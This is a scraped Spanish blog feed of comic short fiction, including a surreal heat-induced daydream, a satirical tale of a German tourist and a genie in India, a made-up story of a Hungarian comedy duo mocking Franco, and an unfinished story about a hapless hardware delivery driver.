Dentro, tras los sucios barrotes, van unas ochenta personas desnudas y apelotonadas. Parece que algo sucias, sudorosas. Es verano, hace calor. Van o vienen de vacaciones. Se lo hacen todo encima, pero si uno pisa a otro, el otro grita y se queja. </h2>
<div>
<br /></div>
<h2>
Finalmente decido mear sobre la puerta blanca. Después dejo un posit a la altura de los ojos,que lo quieran ver,con ésta nota :</h2>
<h2>
YA VOLVERÉ. </h2>
<h2>
Y me voy por donde he venido. </h2>
<h2>
Ahora ya sí, me quedo un poco tranquilo. </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0Iphyphenhyphen-xyJ4w2vMyAHWoIkoXuRD3pNdp_KjrWi7_L1jh8H6d89zQugvRO8_oRUCLb83cBHFGieIiGpuN-XcHfFnqZkV48L9l85AAVLbfJditWVloBUwHyGVAO7XcMcPzqZklwKoKszfcs/s1600/Relajaci%25C3%25B3n.+dibujo+ni%25C3%25B1o..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0Iphyphenhyphen-xyJ4w2vMyAHWoIkoXuRD3pNdp_KjrWi7_L1jh8H6d89zQugvRO8_oRUCLb83cBHFGieIiGpuN-XcHfFnqZkV48L9l85AAVLbfJditWVloBUwHyGVAO7XcMcPzqZklwKoKszfcs/s320/Relajaci%25C3%25B3n.+dibujo+ni%25C3%25B1o..jpg" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
</h2>
<h2>
</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-9330175090400657792015-08-06T09:16:00.000-07:002015-08-07T02:07:27.612-07:00ALUCINASIESTA. <h2>
Necesito una ducha de palabras frías, bien frías.</h2>
<h2>
Que refresquen mi cuerpo, la cabeza.</h2>
<h2>
Tengo las orejas y los pies calientes. Las manos me arden.<br />Voy a darle al grifo y quiero que salgan frases de palabras heladas, deseo que recorran mi espalda y me despierten de una vez. Creo que estoy dormido o recién despierto. Creo que estoy soñando ésto.</h2>
<h2>
Afuera, en la autopista, pasan coches, pasan chicharras, pasan balas de paja, pasan tanques, alientos huracanados, pasan dragones, pasa el hombre antorcha, pasa ardiendo la palabra "pasan". </h2>
<h2>
El calor dilata el tiempo, Dalí está pintado en la pared dándole lenguetazos a su reloj derretido. Voy a levantarme. Se me pegan las sábanas. Sobre mi frente aguas termales. Bajo la persiana. Me dejo caer al suelo. Aquí abajo soy como un charco. Se acerca una fregona, me absorbe y después esparce mi ser líquido por toda la casa. </h2>
<h2>
Siento un ligero alivio.</h2>
<h2>
Vuelvo a encarnarme, ésta vez sobre el sofá . Sentado, intento pensar en algo, me pica la barba, intento pensar en alto, hablar, me sale un buffff,otro bufff, un bufffffff, y otro buffffffffff....</h2>
<h2>
Mejor dormir, cierro los ojos no sin esfuerzo, utilizando para ello tanta energía como para bajar la chapa de una tienda con una sola mano. Es inútil, no hallo paz, se ha declarado un incendio en el cuello, avanzan las llamas hacia la coronilla, los animales huyen, las aves levantan el vuelo espantadas, no hay bomberos en la zona, se propaga el fuego,arden los pelos como si fuesen pinos, saltan las piñas, hectáreas y hectáreas de melena calcinada. Debo hacer algo. Me levanto, recorro el pasillo, me dirijo al baño, abro la puerta. El pomo se me queda pegado a la mano, fundido con ella.Mi piel empieza a adquirir su color dorado, primero la mano,después el antebrazo,el brazo entero,el cuello y hacia arriba la cara, el pecho y hacia abajo el cuerpo entero. </h2>
<h2>
Quedo convertido en una estatua de bronce dorada.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBRunDIEOh_NXNh6MqRW-qEo9wwfoOAgtSPW1vl4ft1DVnQeuK281wPBu9DHL_n_2-lZBc8pwgsH5idQkqqiGFZSVvPGgDAkP4qN58b3dwfPSJWCmWgFtsfl2a-x0T0lumoEYYmttckfA/s1600/Hombre+dorado..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBRunDIEOh_NXNh6MqRW-qEo9wwfoOAgtSPW1vl4ft1DVnQeuK281wPBu9DHL_n_2-lZBc8pwgsH5idQkqqiGFZSVvPGgDAkP4qN58b3dwfPSJWCmWgFtsfl2a-x0T0lumoEYYmttckfA/s320/Hombre+dorado..jpg" width="320" /></a></div>
<div>
<br /></div>
<h2>
El incendio se ha extinguido, ahora es peor, noto el peso del metal, la muerte del metal, la trascendente frialdad de la nada, el vacío del pozo macizo, la no vida, el calor supremo, la mezquindad del quietismo involuntario, el sinsabor del grito mudo, la mordaza, el forces, la hoya a presión constantemente infinita...</h2>
<h2>
Y en el silencio mas absoluto siento cómo en el interior se remueve algo, algo líquido, ¿un manantial?.</h2>
<h2>
Creo que lloro.</h2>
<h2>
Brota una lágrima , sale a la superficie, recorre la cara dorada. La barbilla hace de trampolín,la gota se precipita, caída libre hacia el suelo en cámara lenta, el suicidio de la lágrima, la desesperación del llanto. Ahí va, como un paracaidista sin paracaídas, valiente,temeraria, inconsciente.</h2>
<h2>
Desciende, desciende, desciende... y al estrellarse sobre el suelo crea una honda . Las olas de las baldosas navegables empiezan a erosionar mis pies de metal. Poco a poco recobro mi setenta por ciento de agua y mi treinta por ciento de esperanza.</h2>
<h2>
Recobro el sentido, me meto en la ducha, abro el grifo, no quiero saber nada mas.</h2>
<h2>
<br />Caen frases heladas sobre mi espalda,</h2>
<h2>
palabras frescas sobre la cabeza,</h2>
<h2>
vuelvo en sí,</h2>
<h2>
vuelvo en mí...</h2>
<h2>
<br />AAAAAAAARRRRGGGGG. QUÉ BIEN. </h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-19768313436243062172015-07-19T11:06:00.001-07:002015-07-19T11:20:46.709-07:00STEFFAN Y EL GENIO DE LA TETERA.<h2>
Steffan, un joven alemán, cansado de sentirse como una llave inglesa ( no por la nacionalidad atribuida a la llave sino por el valor exclusivamente funcional de la herramienta, siempre al servicio de su patria) se fue de vacaciones a la India.</h2>
<h2>
Consciente de su cuadriculada forma de pensar y actuar, y hastiado por ello igualmente, decidió ese destino con la intención de ablandar sus sesos, relajar sus músculos , descubrir las formas redondas, los pensamientos ondulantes, la dilatación del tiempo, el placer del instante, la grandeza de lo inútil, su lado espiritual...</h2>
<h2>
Pero entró con mal pié en el místico país, nada mas coger el coche que alquiló al bajar del avión atropelló a una vaca sagrada. </h2>
<h2>
Al presenciar éste sacrilegio, una mujer con dos dientes empezó a lanzarle piedras, un hombre sin piernas le mordió los tobillos , una pandilla de niños con barba le zarandeó el coche y un anciano desnudo, con picha de burro, lo maldijo rebuznando mantras maliciosos. </h2>
<h2>
Steffan cogió su mochila, abandonó el coche y se internó en la selva mas próxima .</h2>
<h2>
Tras media hora corriendo montaña arriba sin parar, que se dice pronto, hizo una pausa para coger aliento. </h2>
<h2>
Al hacerlo se dio cuenta de que no estaba solo. A cinco metros de él, sobre una roca, se hallaba un joven indio (de su misma edad, unos 29 años) cubierto tan sólo con el típico taparrabos que parece un pañal de bebé, un bebé cagado. En las manos tenía una tablet rota con la que simulaba trabajar y en los pies un balón de futbol, al que daba pataditas con ambas piernas y gran habilidad sin que tocase el suelo.</h2>
<h2>
El joven indio, de nombre Benengeli, percibiendo claramente el olor de la colonia de Steffan (en contraste con el suyo propio, que era selvático con retrogusto a estercolero) levantó la mirada y lo vio. Este encuentro entre los dos fue mágico. </h2>
<h2>
Tras haberse presentado, Steffan mostró su interés por los valores espirituales de la vida india, habló de la necesidad que tenía de alimentar su alma y de su inquietud por el Budismo y el tema de la meditación. Así mismo, Benengeli se confesó admirador del sistema capitalista Europeo, declarando que su sueño era vivir stressado, trabajando para consumir y consumiendo porque sí; y que nada le haría mas feliz que ver una final de la champions .</h2>
<h2>
Visto lo visto y dicho lo dicho, los dos pensaron lo mismo: Si tú me enseñas los secretos de tu cultura yo te enseñaré los de la mía.</h2>
<h2>
Enseguida se pusieron de acuerdo. El alemán quería sentirse indio ,aunque sólo fuese por 15 días, y el indio alemán. En éste periodo de tiempo podrían saborear esa otra cultura que les fascinaba. Para empezar intercambiaron sus ropas y sus pertenencias. Steffan se quedó con el taparrabos (la tablet y el balón no le interesaron) . Benengeli se apropió de todo lo demás: Botas de trekking alta calidad, calcetines térmicos, calzoncillos de alta montaña, pantalón multiaventura, camisa de once varas, gafas de sol termosolares, una gorra con aire acondicionado, mochila marca "Sargento Requena" , un Iphone 6,su cargador, más ropa, tarjeta de crétido y DNI, 600 euros en efectivo, una botella de agua mineral casi llena, galletas energéticas, una caja de condones y una guía del trotamundos sobre la India (de esto último, Benengeli se deshizo enseguida). </h2>
<h2>
Seguidamente , habiéndolo echado a suertes con el pito pito gorgorito, Steffan empezaría impartiendo su master intensivo sobre cómo stressarse y vivir a diario agobiado y preocupado a la manera urbana Europea. </h2>
<h2>
Le aconsejó a Benengeli, entre otras muchas cosas, no estar contento nunca bajo ningún concepto, querer siempre mas, despreciar a los demás, estar pendiente continuamente de las ofertas del mercado y desearlas todas, de tal manera que la frustración, mas tarde que temprano, habría de hacer meya (y hasta grieta) en él. </h2>
<h2>
A Benengeli le satisficieron enormemente éstas enseñanzas. Por su parte, llegando el turno de impartir su master acerca de los valores espirituales indios, aconsejó a Steffan todo lo contrario: No desear nada, no esperar nada, disfrutar el momento (porque en la India es lo que mas abunda), no pensar (como las vacas sagradas), vivir del aire (y en casos extremos de la caridad) y hacer de tripas corazón en los malos momentos, que serían muchos y morrocotudos. </h2>
<h2>
Además de éstos consejos Benengeli le enseñó, de propina, una técnica para practicar la meditación, dominar su mente y espantar al deseo, manantial diabólico de donde salen todos los sufrimientos, según la creencia Budista.</h2>
<h2>
La técnica era la siguiente: Subirse a la cima de la montaña, sentarse mirando al horizonte con un palo en la mano y quedarse en blanco el máximo tiempo posible. En el momento en el que se cruzase por la cabeza un "tengo sueño" o un "se me han dormido las piernas" o un "tengo hambre" o un "qué calentura tengo"...darse un mamporrazo con el palo en toda la cabeza. Al principio duele (y al final también) pero poco a poco el cerebro aprende a asociar el Deseo con ese dolor y empieza a ser menos pejiguera, a no quejarse tanto y a meditar, coño, que de eso es de lo que se trata. </h2>
<h2>
Tras el intercambio de sabidurías y consejos culturales Steffan y Benengeli se despidieron.</h2>
<h2>
Steffan subió a la cima de la montaña con aire penitente y Benengeli corrió a la ciudad para hacer uso de los billetes de Steffan con alegría y desenfado.</h2>
<br />
<h2>
Una vez en lo alto, ya con un palo en la mano, Steffan se sentó en el suelo, miró el horizonte, trató de quedarse en blanco y lo consiguió durante 17 segundos que le supieron a gloria, transcurrido este espacio de tiempo cruzó por su mente la imagen de una salchicha cocida. Horror. Se dio un mamporrazo. Siguió meditando, 11 segundos mas de concentración en la nada, después otro pensamiento, el cuerpo desnudo de la azafata de vuelo morena que le había puesto cachondo en el avión. Horror. Otro mamporrazo. Seis segundos mas de meditación, otro deseo, una gran salchicha serpenteando por el cuerpo desnudo de la azafata morena. Horror, Horror. Dos mamporrazos seguidos. Steffan se tambalea pero , menudos es, sigue con la meditación. Tres segundos mas en blanco, tres segundos en los que cree dar la mano a San Pablo, el que tiene las llaves del cielo, sin embargo su mente europea es un caballo loco y vuelve a enturbiar su armonía con otro deseo, otro pensamiento, otra imagen, ésta vez la de un wolsvagen Polo hecho de carne maciza estrellándose con un camión amarillo lleno de cerveza. Horripilante. Cinco mamporrazos seguidos. Steffan cae al suelo, medio inconsciente, atontado, con la cabeza bollada. Intenta levantarse, lo consigue a duras penas, pierde el equilibrio varias veces, cae y vuelve a levantarse, baja por la montaña haciendo un slalom sin control. Por el camino se topa con una tetera herrumbrosa a la que sin querer, pues se mueve como un pelele, da una patada. </h2>
<h2>
De la tetera sale un genio, un genio y figura hasta la sepultura que en aquel momento aparece mostrando su gran estatura: Una especie de mister Proper gigante, un Don Limpio enorme vestido con mono de cuero negro, calvo, musculado...¿gay quizás?, ¿a quién le importa?. Suelta una gran carcajada al saberse por fin liberado. Acto seguido espabila de un soplo descomunal a Steffan, que abre los ojos y alucina. </h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjARUn2ZDRXb8G_wgXHTdwCIzIKAUgEy4kVSqiQNrtMAr7HySvXX_R8CBcOuOs5pgFK_jybjl6IraJ1X14oAzVKu9POufbxYzNIXKBqQNUstm3Cej0uHutf9wY-H-62yKNlvzDscWOWtaE/s1600/10_logoMrProper%255B1%255D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjARUn2ZDRXb8G_wgXHTdwCIzIKAUgEy4kVSqiQNrtMAr7HySvXX_R8CBcOuOs5pgFK_jybjl6IraJ1X14oAzVKu9POufbxYzNIXKBqQNUstm3Cej0uHutf9wY-H-62yKNlvzDscWOWtaE/s320/10_logoMrProper%255B1%255D.jpg" width="257" /></a></div>
<br />
<h2>
El genio le hace saber que por haberle liberado le concede tres deseos. Steffan, al verlo grande y calvo, lo confunde con Buda y se coloca junto a él para hacerse un selfie, pero en ese momento recuerda que ya no tiene su IPhone 6. El Genio le sopla de nuevo para despertarlo del todo arrojándolo a un bebedero de macacos. Después le repite lo de los tres deseos. </h2>
<h2>
Steffan, saliendo del charco, cree volver en sí y recordando los preceptos de su nueva creencia le dice "aparta de mí, no deseo nada" y se pone a buscar un palo con el que darse en la cabeza. El genio, convencido de que le ha liberado un auténtico merluzo, se refiere a él con éstas palabras " Mira imbécil, no soy una alucinación, soy un genio de verdad y estoy obligado a concederte tres deseos por haberme liberado, de lo contrario volveré al interior de la tetera, ¿te enteras o te tengo que soplar 50 veces, mamarracho?". Steffan se hizo cargo de la situación.</h2>
<h2>
Entonces pensó. Después le dijo al genio "quiero tres deseos en uno, vamos, que es un mismo deseo pero tiene tres particularidades", "corta el rollo, adelante" le dijo el genio. </h2>
<h2>
Quiero no ser como soy</h2>
<h2>
tampoco quiero ser como los demás</h2>
<h2>
y quiero ser feliz.</h2>
<br />
<h2>
Deseos concedidos, le dijo el genio.</h2>
<h2>
Y lo convirtió en piedra.</h2>
<br />
<h2>
Mientras tanto, Benengeli sacaba ,con la tarjeta de Steffan, un billete de avión para Ibiza. Sólo de ida. </h2>
<h2>
Allí ya se pondría de vuelta y media. </h2>
<br />
<br />
<br />
<h2>
</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-88829227720645892832015-07-08T03:20:00.000-07:002015-07-08T03:20:03.329-07:00TAL y COMO.<h2>
TAL y COMO era una pareja cómica, un dúo de humoristas de gran éxito en la España de los años 50, esos años de los que nadie sabe ni recuerda nada. Si, porque se ha hablado mucho de los años 80,de los 70, de los 60,de la posguerra, de la guerra civil, de los años 20 e incluso del siglo diecinueve, pero ¿Qué pasa con los años 50?... ¿Os encojéis de hombros?, normal, no es para menos. Se trata de una década oscura, fantasma, opaca, insulsa tal vez, ignorada, excluida de la memoria nacional, ¿Por qué?. No tengo ni la mas mínima idea, yo voy a hablar de TAL y COMO. </h2>
<h2>
TAL y COMO eran húngaros, de Hungría (un país tan oscuro, opaco e insulso como los años 50). Salieron de allí huyendo durante la Revolución del 56 cada uno por un lado, aún sin conocerse, aunque ambos tenían los mismos motivos para escapar: la cobardía, que es mas lista que el hambre, y el hambre, que de tonta no tiene un pelo.</h2>
<h2>
El caso es que los dos, tanto TAL (que en realidad se llamaba Straikovsky Gurumelov Pascualín) como COMO (cuyo nombre real era Agapitóvskiriký - con dos acentos- Pichorro Achískt) fueron a parar a la flamante fábrica de SEAT, fundada en España seis años antes, en 1950. </h2>
<h2>
Tuvieron mucha suerte, fue llegar y besar el Santo. Encontraron trabajo de momento y apretando tornillos en dicha fábrica se conocieron. Eran los dos únicos húngaros entre los 500 trabajadores y sólo podían hablar entre ellos; de nuestro idioma sólo sabían decir "Pásame la llave inglesa,Pepe", "qué calor hace, madre mía", "¿ Cuándo coño se cobra aquí?", "jefe cabrón" y "arriba España". </h2>
<h2>
Desde el principio hicieron buenas migas, con ajo, pimiento y panceta. Se pasaban las doce horas que duraba la jornada laboral apretando tornillos sin parar de hablar, reír y cagarse en el régimen ,y es que en húngaro nadie les entendía y por tanto no había peligro de fusilamiento. </h2>
<h2>
Sin embargo, tanta alegría y tanto alboroto en el trabajo no era bien visto por sus superiores, con lo que en poco tiempo los echaron a la calle.</h2>
<h2>
Las calles españolas en los años 50 eran algo muy triste, no había farolas ni bancos donde sentarse, los árboles, sauces llorones todos, no daban sombra (hecho extraño éste pero típico de la época), todo era en blanco y negro, la gente paseaba temerosa sin hablar y había perros por todas partes rascándose la superpoblación de pulgas y garrapatas que habitaban bajo sus trasquilados pelajes.</h2>
<h2>
Vamos, que el panorama que les esperaba a Straikovsky y Agapitóvskiriký era realmente desalentador. Sin embargo, no se vinieron abajo, todo lo contrario, estaban tan unidos y lo pasaban tan bien juntos con sus bromas húngaras que decidieron montar un puesto de perritos calientes con el poco pero suficiente dinero que habían ganado en la fábrica.</h2>
<h2>
El puesto fue un fracaso porque en España por entonces el perrito caliente era algo novedoso y por tanto demasiado atrevido, sospechoso, inmoral, mezquino, desagradable y de mal gusto. Nadie les compró nunca un perrito, pero un día que pasaba por allí ,tras haber inaugurado un pino puente, se paró ante el puesto el mismísimo Caudillo, Francisco Franco, con todas sus moscas peloteras detrás.</h2>
<h2>
El caudillo, atraído por el habla húngara de éstos dos pájaros y asombrado por el tono alegre de su conversación se les quedó mirando seriamente. Ellos pensaron en aquel momento que el bajito malas pulgas ordenaría su fusilamiento inmediato por extranjeros y maleantes y no dejaron de hablar planeando posibles escapatorias.Entonces sucedió algo extraordinario, Franco soltó de repente la primera carcajada de la que se tiene constancia en los anales de la historia rancia de España. Tras él, por supuesto, rieron todas las moscas cojoneras que le acompañaban. Después paró de reír en seco, se hizo el silencio y dijo con su voz de pito "Qué graciosos son éstos dos desgraciados, los quiero para la fiesta de mi próximo cumple años". Y siguió adelante con paso marcial llevándose tras de sí a todos sus insectos. Bueno, a todos menos a uno, que se quedó con Straikovsky y Agapitóvskiriký un momento para darles en un papel apuntado el día, la hora y el sitio en el que debían estar para ofrecer al Caudillo un espectáculo de humor bajo amenaza de tortura y expulsión del país si no se presentaban.</h2>
<h2>
Y de ésta manera comenzó la carrera humorística de TAL y COMO.</h2>
<h2>
(Éste nombre artístico nadie sabe, ni ellos mismos, en qué momento y porqué se les ocurrió) </h2>
<h2>
Tenían tan sólo una semana para preparar su show, ¿pero cómo hacerlo?, nunca se habían dedicado a la comedia, jamás habían pisado un escenario. </h2>
<h2>
Tranquilo, le dijo Agapitóvskiriký a Straikovsky, ya sabemos que al Caudillo le hace gracia nuestro idioma, inventémonos cualquier historia y contémosla con gracia o sin ella , no la va a entender nadie, da igual, seguro que funciona.</h2>
<h2>
Aquella premisa les dio ánimos, no tenían nada que perder. Sólo quedaba elegir la historia y solucionar la puesta en escena. Optaron por la sencillez en el decorado y por la muerte, como tema. Actuarían los dos vestidos de negro, de LUTO PREMATURO (como ellos mismos decían, titulando así su primer y único espectáculo, con el que alcanzaron gran fama en todo el país). </h2>
<h2>
Así ataviados, con tan sólo un rústico ataúd en escena como elemento escenográfico, empezarían llorando para poco a poco irse animando a lo largo del espectáculo, haciendo bromas, soltando insultos y burlándose en perfecto húngaro del presunto muerto, que no era otro - en la ficción del show- que el mismísimo Franco.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY2rj9L08XPZcg3VHw3YgHWmNWpH1ut2lHA9s9y1sXORn2cCJUEFb_Jjl7XrBug1qKB6pqmujlsY7EjDvLYbIehxy9CIGpRiZ-A0FKdOGMkl8O52JCq_OPds0vmATak-idznnLq0AknKw/s1600/clip_image016_0007%255B1%255D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY2rj9L08XPZcg3VHw3YgHWmNWpH1ut2lHA9s9y1sXORn2cCJUEFb_Jjl7XrBug1qKB6pqmujlsY7EjDvLYbIehxy9CIGpRiZ-A0FKdOGMkl8O52JCq_OPds0vmATak-idznnLq0AknKw/s1600/clip_image016_0007%255B1%255D.jpg" /></a></div>
<br />
<h2>
Así lo hicieron llegado el día del estreno en el cumpleaños del Caudillo, que volvió a reír desmesuradamente, ésta vez a costa de su propia muerte sin él saberlo.</h2>
<h2>
A partir de entonces les llovieron las ofertas, si Franco reía con ellos, todo el mundo podría hacerlo y estaría muy bien visto. Les llamaban de casinos, de sociedades privadas, de monterías, de hoteles, de puticlubs, para inaugurar pantanos y clausurar campeonatos de fútbol . Fue un gran éxito. Todo el mundo reía con ellos, tal vez por necesidad de reír o por quedar bien o por las dos cosas a la vez, porque como digo aquellos fueron unos años tan sosos o más que la comida Francesa. Nadie les entendía, esa era la clave del éxito de los magníficos TAL y COMO, que duró precisamente hasta que un mal día, dos años mas tarde, un militar húngaro , amigo del régimen, asistió como público a una de sus actuaciones.</h2>
<h2>
Esto supuso el fin de la carrera humorística en España de Straikovsky y Agapitóvskiriký. </h2>
<h2>
El militar húngaro se chivó al Caudillo, contándole qué es lo que contaban y de quién se reían realmente Tal y Como en el espectáculo. El Caudillo se puso colorado, mandó ahorcar al Militar Húngaro para que no fuese aireando la historia por ahí , convirtiéndose él mismo en el hazmerreír de su querida patria y ordenó la detención inmediata de la pareja de cómicos. </h2>
<h2>
Menos mal que nuestros dos protagonistas estaban sobre aviso , el miliar húngaro, tras ver su actuación fue al camerino de los artistas para decirles que los iba a denunciar, no sabemos si esto lo hizo para que escaparan o simplemente porque era idiota. </h2>
<h2>
El caso es que Straikovsky y Agapitóvskiriký lograron huir de las garras del águila imperial (una, grande y reprimida) y salieron del país para volver al suyo de la misma manera que salieron del suyo para venir aquí, Tal y Como. </h2>
<br />
<h2>
Hoy día, unos sesenta años mas tarde, han vuelto a reencontrarse, tras haberse perdido de vista el uno del otro por causas ajenas a sus voluntades, y felizmente han vuelto al mundo de la escena para hacer reír a la gente. Actúan todos los viernes por la tarde en una residencia de ancianos de Budapest donde ellos mismos pasan los últimos años de su vida. Y lo siguen haciendo con humor, como si estuviesen en un campamento de verano donde , en lugar de San Jacobos, les dan de comer pastillas. </h2>
<h2>
No somos nadie. Ni falta que hace.</h2>
<br />
<h2>
Gloria por siempre a ese dúo irrepetible, bravo por los TAL y COMO !!!.</h2>
<br />
<h2>
Ésta ha sido su historia. </h2>
<br />
<br />
<br />
<br />
<h2>
</h2>
Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-27020358004111500482015-07-06T02:07:00.003-07:002015-07-06T06:47:16.538-07:00UNA HISTORIA SIN EL MÁS MÍNIMO DE INTERÉS.<h2>
Aquel trabajo, el de distribuidor de artículos de la cadena de ferreterías "Berbiquí", me duró poco tiempo, para ser mas exactos: doce horas.</h2>
<h2>
Ni siquiera hizo falta que me echasen, le ahorré a mi jefe ese mal trago, yo mismo lo dejé, aunque casi no hizo falta decir nada. ¿Qué iba a decir?, peor no pudo haberme ido en mi primer día de trabajo. </h2>
<h2>
Salí a las siete de la mañana con la furgoneta llena de cáncamos, alcayatas, puntas, tacos, tornillos, martillos, alicates, bombillas, casquillos, picos, palas, cribas, zachos, sierras, paletas, bisagras, taladros y una gran hormigonera azul marino.</h2>
<h2>
Mi cometido era distribuir todo ese material en 5 Ferreterías distintas (aunque lo de "distintas" sobra, claro, no van a ser las 5 ferreterías la misma, no?, vamos, sería prácticamente imposible) 5 ferreterías, como decía, situadas en 5 pueblos (distintos unos de otros, ni que decir tiene) que se hallaban a unos 50 kilómetros de media uno de otro. </h2>
<h2>
La tarea, a priori, no parecía complicada , quizás por eso me confié demasiado y pasé del GP ese. A unos 20 kilómetros para llegar al primer pueblo una señalización indicaba "Tramo de concentración de despistes" y efectivamente, tenía su por qué pues fue entrar en dicho tramo y desorientarme totalmente, de tal manera que, sin darme cuenta, fui a para a un camino .Un camino que me llevó a un campamento de temporeros.</h2>
<h2>
En seguida me di cuenta de que no se trataba de trabajadores eventuales de campo al uso, aunque el campamento si lo fuese. Parecían mas bien filósofos temporeros. Sentados en círculo sobre la tierra discutían acerca del sentido de sus vidas temporeras: ¿Estamos haciendo tiempo o...perdiéndolo?, ¿lo aprovechamos o, por el contrario, lo desperdiciamos vilmente?, ¿Plantearnos esto es ganar tiempo o perderlo?, ¿Estamos quizá pasando el tiempo simple y llanamente o es que el tiempo pasa sobre nosotros soberanamente?. Todas éstas cuestiones se barajaban en el círculo de manera tan absorta que no se dieron cuenta de mi presencia. Sin embargo, me urgía saber dónde me hallaba y de qué forma podría encontrar el pueblo al que debía dirigirme. Sin titubeos hice sonar la bocina de la furgoneta dos veces seguidas ( pi piiii) provocando un respingo general en la asamblea de los filósofos temporeros. Me bajé del vehículo comercial y les pregunté qué dirección debía tomar para ir a Navalcordero, mi primer destino. Uno de ellos, levantándose, me dijo "Caminante, no hay camino, se hace camino al andar. No temas, llegarás sin preguntar, es cuestión de tiempo, el tiempo pues te lo dirá". El resto de filósofos aplaudió la respuesta agitando las manos abiertas en alto sin dejar de mirarle con admiración, después doblaron todos el cuello para mirarme y decirme al unísono a modo informativo "Así habló Zarrapástroso". Contesté cortésmente con un "ah, vale, estupendo", pero vamos, que me quedé igual. Aquello era un callejón, no había salida, ni dialéctica ni comarcal, no me quedaba otra que volver por donde había venido. Les dije adiós muy buenas y girando 180 grados sobre el camino de tierra con la furgoneta llené aún mas de polvo sus polvorientas figuras y allí les quedé, haciendo tiempo o matándolo, vete tú a saber. </h2>
<h2>
Una hora después entraba en Navalcordero. No me costó localizar la Ferretería, donde hacía rato me esperaba su dueño para despacharle la Hormigonera. Muy contento, orgulloso de entregar mi primer pedido, abrí las puertas de atrás, pero cual fue mi sorpresa (y la del ferretero de Navalcordero) al ver que allí no se encontraba la susodicha hormigonera. ¿Cómo es posible?, me pregunté, ¿dónde coño está? quiso saber él. A primera hora la cargué y no he vuelta a abrir las puertas hasta ahora...ya está, me la quitaron cuando paré, ¿Dónde? (el ferretero sólo hacía preguntar) en el campamento de temporeros, fueron ellos sin duda los que me la chorizaron!!. ¿Qué temporeros ni qué niño muerto?, quiso saber el Ferretero. No se preocupe, ahora mismo vuelvo, la recupero y estoy aquí otra vez con ella. ¿Con quién? (y dale con las preguntitas),¿está usted tonto?,¿con quién va a ser, con mi prima?, pues con la Hormigonera!, a ver si estamos a lo que estamos ferretero de Navalcarnero. Navalcordero!, apuntilló él, tus muertos, le dijo yo entre dientes. Y arranqué.</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbK9XMq7rCklX8D47vTIh3EZE2lidhDX3U12IaPcGBXozKkXMVlGoN9_FmstE_blw03wIZnqBoCUXOy4vcws0XHEhScQCLuveManPmUWmG0U3tIjjG9_BUL2xscRSUj4EWuOJtDXS8F0I/s1600/hormigonera_polieri_350%255B1%255D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbK9XMq7rCklX8D47vTIh3EZE2lidhDX3U12IaPcGBXozKkXMVlGoN9_FmstE_blw03wIZnqBoCUXOy4vcws0XHEhScQCLuveManPmUWmG0U3tIjjG9_BUL2xscRSUj4EWuOJtDXS8F0I/s320/hormigonera_polieri_350%255B1%255D.jpg" width="320" /></a></div>
<br />
<h2>
Oootra vez para atrás. Al campamento. </h2>
<h2>
Cuando llegué estaban utilizando la hormigonera a modo de lavadora. Zarrapástroso hacía girar bruscamente el timón que mueve el tambor a un lado y al otro, con agua, espuma y uno de los filósofos desnudo dentro, centrifugando. Mientras los demás hacían cola despidiéndose de sus andrajos, reían a carcajadas con cada giro brusco del tambor y grito de dolor del filósofo centrífugo.</h2>
<h2>
Se acabó la fiesta, dije al bajar de la furgo sintiéndome como Clint Eastwood en sus tiempos mozos: duro, sucio y Harry, muy Harry. </h2>
<h2>
Devolvedme ahora mismo la lavadora!!!,les ordené sin titubeo. Entonces hubo un silencio. Se miraron unos a otros y rompieron a reír a carcajadas antes de decir todos a la vez "así habló el gilipollas" y volverse a reír. La Hormigonera!! - rectifiqué- devolvedme la Hormigonera!!, la necesito, tengo prisa, es mía. </h2>
<h2>
A lo cual, Zarrapástroso dijo "No hace falta que nos des explicaciones. Si la necesitas, cógela y llévatela. Pero plantéate primero qué falla en tu vida para que dependas de una burda Hormigonera. ¿Eres feliz?,¿Sueñas con ella y te despiertas con sabor a cemento en tus labios?,¿Dependes anímicamente de éste trasto?. Sé valiente,atrévete: di NO a la Hormigonera". Dicho lo cual se repitió la operación del aplauso mudo con las manos abiertas en alto y el coro de discípulos diciendo"Así habló Zarrapástroso".</h2>
<h2>
El tema ya empezaba a cansarme. Os regalo un par de cajas de cáncamos si queréis, pero por favor, ayudadme a subir la Hormigonera a la furgoneta, les dije solícito. Y aceptaron, menos mal. Dos de ellos, los mas jóvenes (de unos 40 años) se encargaron de meter la carga. Me fui pitando de allí.</h2>
<h2>
El Ferretero de Navalcordero me esperaba en la puerta de su miserable establecimiento comiendo pipas, visiblemente nervioso. </h2>
<h2>
